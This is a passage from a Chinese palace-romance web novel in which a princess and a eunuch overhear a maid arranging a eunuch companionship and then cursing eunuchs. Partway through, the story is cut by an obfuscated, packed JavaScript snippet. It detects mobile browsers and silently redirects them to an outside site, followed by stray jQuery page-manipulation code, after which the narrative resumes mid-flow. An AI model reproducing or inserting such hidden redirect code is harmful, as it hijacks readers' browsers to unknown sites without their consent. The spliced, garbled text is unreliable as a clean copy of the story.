“那安公公的意思到底是什么呢?去人多安全的地方也不行,去不安定的地方你也不乐意,安公公却还斥责我这一月没什么进展,这可怎么是好。”
实际上赵凉絮这番动作与安和也并没有太大亲近,顶多是胳膊不小心碰上了。
但这样已叫安和有些不知所措。
他此时也忘记了什么疏远和讥讽。
因为他还记着,当日在树下他用了帕子擦手,想要遮掩自己的不自在,却让赵凉絮误以为自己嫌她。
他并非嫌她。
不。
放在平常,他便是真嫌弃又如何,他从不让人近他的身。
但是他不想让赵凉絮误会。
他不曾对这样的接触有什么不适。
而赵凉絮,并未止于此。
她见安和不说话,便隔着衣袖握住了他的手。
29. 对食
“你......”
安和被这动作一惊,她为什么要这么做?
即便隔着袖子,他也能感受到赵凉絮手的温度。
天已经愈发冷了,她的手没什么温度。
“安公公已经说了两次‘你’了,到底要说什么呢?”
赵凉絮觉得单是手和手的接触实在不算得什么,更何况在宫中太监与女子的的界限总归是比男子与女子的界限更模糊些的。
在她的印象当中,古代的太监有时甚至能与关系好些的宫女同榻说笑。
即便是性别上仍旧有差别,但太监于后宫中便是这样一个能与女子有更多交流的群体。
应该是对于这样的接触,更容易接受些才对。
况且他刚刚与自己胳膊贴在一起的时候,也没显露出拿着帕子要叱骂的样子。
她便有些得寸进尺了。
毕竟相处了这么久了,总不能还像刚见面那样似的?
“赵公主平日里那般聪明,如今却觉不出我是个什么意思?”
他尝试将手抽出去,赵凉絮感受到这动作反而攥得更紧了一些。
他俩手掌的接触实在不像多么暧昧的关系能做出来的,更像是赵凉絮势要让安和给出一个什么解释的蛮横行为。
赵凉絮透亮如宝石的眼睛盯着他,眼中带着探究。
除了安和这张脸,他还有什么能吸引我吗?
赵凉絮心里是这样想的。
落在安和眼里便是赵凉絮眼中带着疑惑,瞳孔微颤着,似乎是有什么心事。
她这般过激地抓住我的手,想来还是那日的交流伤到她了。
手上的感觉太过明显,安和控制不住地想起赵凉絮那天单薄的背影。
那天她已足够落寞,今日他的话又隐约带着暗示,让她想到了“青楼”一类的地方,更是伤到她了?
她在逃荒时,毕竟遇到了那样令女子不堪难受的事,“青楼”二字,想来也会让她想到不好的经历。
或许,可以说几句话让她定心。
一切都是为了能让她早点引出赵承新。
安和觉得自己想的没错,自己做的一切只是为了让计划更好的进行。
他刚张开嘴,还没来得及说什么,自旁边小道处传来越来越近的交谈声音。
其中的女声,赵凉絮记得。
是太后身边的芳时姑姑。
安和因赵凉絮仍旧抓着他不放,这般拉扯下听到小道上逼近的声音竟有些失了判断,拉着赵凉絮便就近进了旁边无人居住的宫院内。
“?”
赵凉絮有些疑惑,有什么见不得人的吗,怎么还拉着她躲了起来。
安和清醒过来也有些懊恼,但此时若再从小院内出来,更显得欲盖弥彰。
他此时觉得这番做法实在是不像自己,更是带着恼怒小声警告赵凉絮:“别说话。”
红砖青瓦,能遮得住两人的踪迹,却掩盖不住传来的声音。
本以为芳时和另一个人只是路过,没成想两人见此处四下无人,就此停住交谈了起来。
“......芳时姑姑当真想好了?”
“自然,王公公,这事是我自己提的,难道还能有假?”
芳时身边的人是一个太监。
“芳时姑姑这样,来德惶恐啊,想当初干爹如何给姑姑献宝,姑姑理都不肯理一下,如今怎么竟自个寻了我这呢?”
那声音尖利,还装模作样推诿一番。
芳时声音弱了一些,假意带上些哭腔:“王公公,咱们也不骗你,我既是太后娘娘身边的人,那就是这辈子也出不了宫了,如何能不为自己打算呢?王福是大太监,但他好收受贿赂,仗着在宫里头呆的久,行事也马虎,我实在不敢托付。这不,他便因为刺客那事如今还被押在狱里不知死活。即便他无事,可他都那般老了,我岂知他能活到什么时候?”
她说的句句动人,连称呼都变得更亲近一些:“可来德公公你不一样,你同我年岁相仿,人也稳重,我都看在眼里,咱们找个对食,不就是为了安安稳稳地在宫里头过着,彼此有个安慰吗?”
嚯,原来是芳时姑姑要私下结个对食。
这等八卦的事,赵凉絮自然是贴近了红墙想听听。
“芳时姑姑说的是,来德平日里在宫里头当差,也总是觉着冷清清的,若是能和芳时姑姑相伴,也是来德的福气了。”
王来德话语间还奉承着,但显然已接受了芳时的说辞。
“只是不知,若和姑姑成了对食,姑姑夜间宿在哪里啊。”
赵凉絮看不到人,只闻其声,但光凭声音就听出王来德声音中夹杂着的暗示。
“这......公公莫急,既是对食自然住在一起妥当,但你也知道,娘娘身边离不开人,旁的人都没我伺候的周到,等娘娘开心了,我再将此事说予娘娘,没准娘娘还会赏咱们个京城的院子呢。”
来德心知芳时是有些推脱的意味,但一听到“住在一起”的说法,也颇有些神往。
他便将芳时此时的犹豫当作正常现象,毕竟若不是现实所迫,谁愿意跟一个太监当对食呢?
两人便这样一来一回交流了一会,已确认好关系,王来德便急着去当差了,临走前还急着嘱咐将周明熙伺候好,早日同周明熙讲“宿在一起”这事。
赵凉絮听的津津有味,拽着安和的手早就放开,却没注意到一旁的安和一直沉默不语。
对食。
安和心中琢磨着这两个字,目光却不由自主地移到赵凉絮撒开的手上。
方才的感觉还未消散,安和不自知地摸了摸刚刚赵凉絮握住的地方。
她该知道了吧,同太监也是不能多有接触的。
否则,便是有对食的嫌疑。
搭伙过日子,说来好听。
放在其他宫人嘴里,指不定讲出什么花来。
实际上多是被唾弃的事。
芳时那边尚未离去,她望着王来德走的已经没影了,忽地啐了一口。
“真是个不要脸的阉人,还真敢肖想,都不算男人了,脑子里整日装的还是那种事。”
她骂了一句犹不解恨,恨恨地将头上簪子甩在地上:“要不是为了娘娘!要不是我没办法出宫,我怎么会找一个阉人!”
“阉狗,阉竖!”
听到芳时口不择言的谩骂,赵凉絮下意识想扭头看安和,但是却担心自己这番刻意的动作更碰了安和的霉头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054135|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发泄着,芳时的骂声便真带上了哭腔。
听起来周明熙早知对食一事,甚至是周明熙自己撺掇着芳时去找太监的,芳时身为她的心腹、她的大宫女,迫不得已听从她的命令。
芳时发泄完了情绪,将砸在地上的簪子又捡了起来,收拾好情绪便离开了。
她本以为自己这一番出格的泄愤无人能知,但院中有人,隔墙有耳。
安和沉默地不像话。
赵凉絮心中默默叹了一声,该面对的还是要面对。
她望向安和,此时的安和却比以往更加平淡,脸上没带着什么情绪。
素日里那副挂着讥讽的脸也没什么表情了。
有种风雨欲来的感觉。
赵凉絮想凑到跟前说话,安和不着痕迹地退了一步。
他开口,语气艰涩:“你也全听到了吧。”
他尽力控制着自己的表情正常,语气飘忽,说出来的话却让赵凉絮惊讶:“一月前在安府的花园,咱家没有什么贬低的意味。”
一月前的安府花园?
安和这样忽然提起,赵凉絮花了几秒才想起来是什么事。
“咱家讨厌跟人拉拉扯扯的,用帕子用习惯了,没什么额外的意思。”
这是在向自己解释?
“叫你在京城,是让你注意有没有可疑的人,你既然能认得出赵承新的暗卫,应该也知道其他的人大致模样,你便继续按你自己的步子进行吧。”
安和觉得自己快要压不住心里的怒气了。
也许不是怒气。
愤怒,怨恨,羞耻,无地自容......
哪个都好。
他怎么可能像面上表现的那样冷静?
“阉”一字他听得再多,表现的再平常,也无法抹消掉他对这一字的恨。
想来是因为赵凉絮这段时间表现得太理所当然,他都要被骗到了。
谁不会鄙视一个太监?
鄙视谩骂他的人多了。
就因为赵凉絮那无端正常的态度,竟叫他品味到了一丝微不足道的尊重。
无所谓赵凉絮背地里又是怎么骂他了,说不准她都恨不得自己去死呢。
也好干净了这一片皇城。
但是她面上功夫竟没有一点缺漏,甚至,他愿意为了赵凉絮这滴水不漏的面上功夫,心平气和地同她讲话。
本以为说完赵凉絮便会得了一个安心的答案离开,可赵凉絮没挪动一步。
“你怎么还不走?”
安和压了性子问道。
“安公公,听了芳时的话,很是生气吧。”
赵凉絮似乎总爱直白地说出问题。
搁在以前,安和早就耐不住发火了,但面对着赵凉絮,他深呼吸,表情竟然还能说的过去。
“你觉得我生不生气?”
“若我是安公公,肯定气得想杀人,那安公公听了这话,打算怎么办呢?难不成要找个理由......杀了芳时?”
听听,竟然还“若我是安公公”,竟还是个很会为太监考虑的样子。
安和脸上抽动,扯出来一个恐怖的笑容。
“赵公主心疼那个宫女?咱家要自愧不如了。”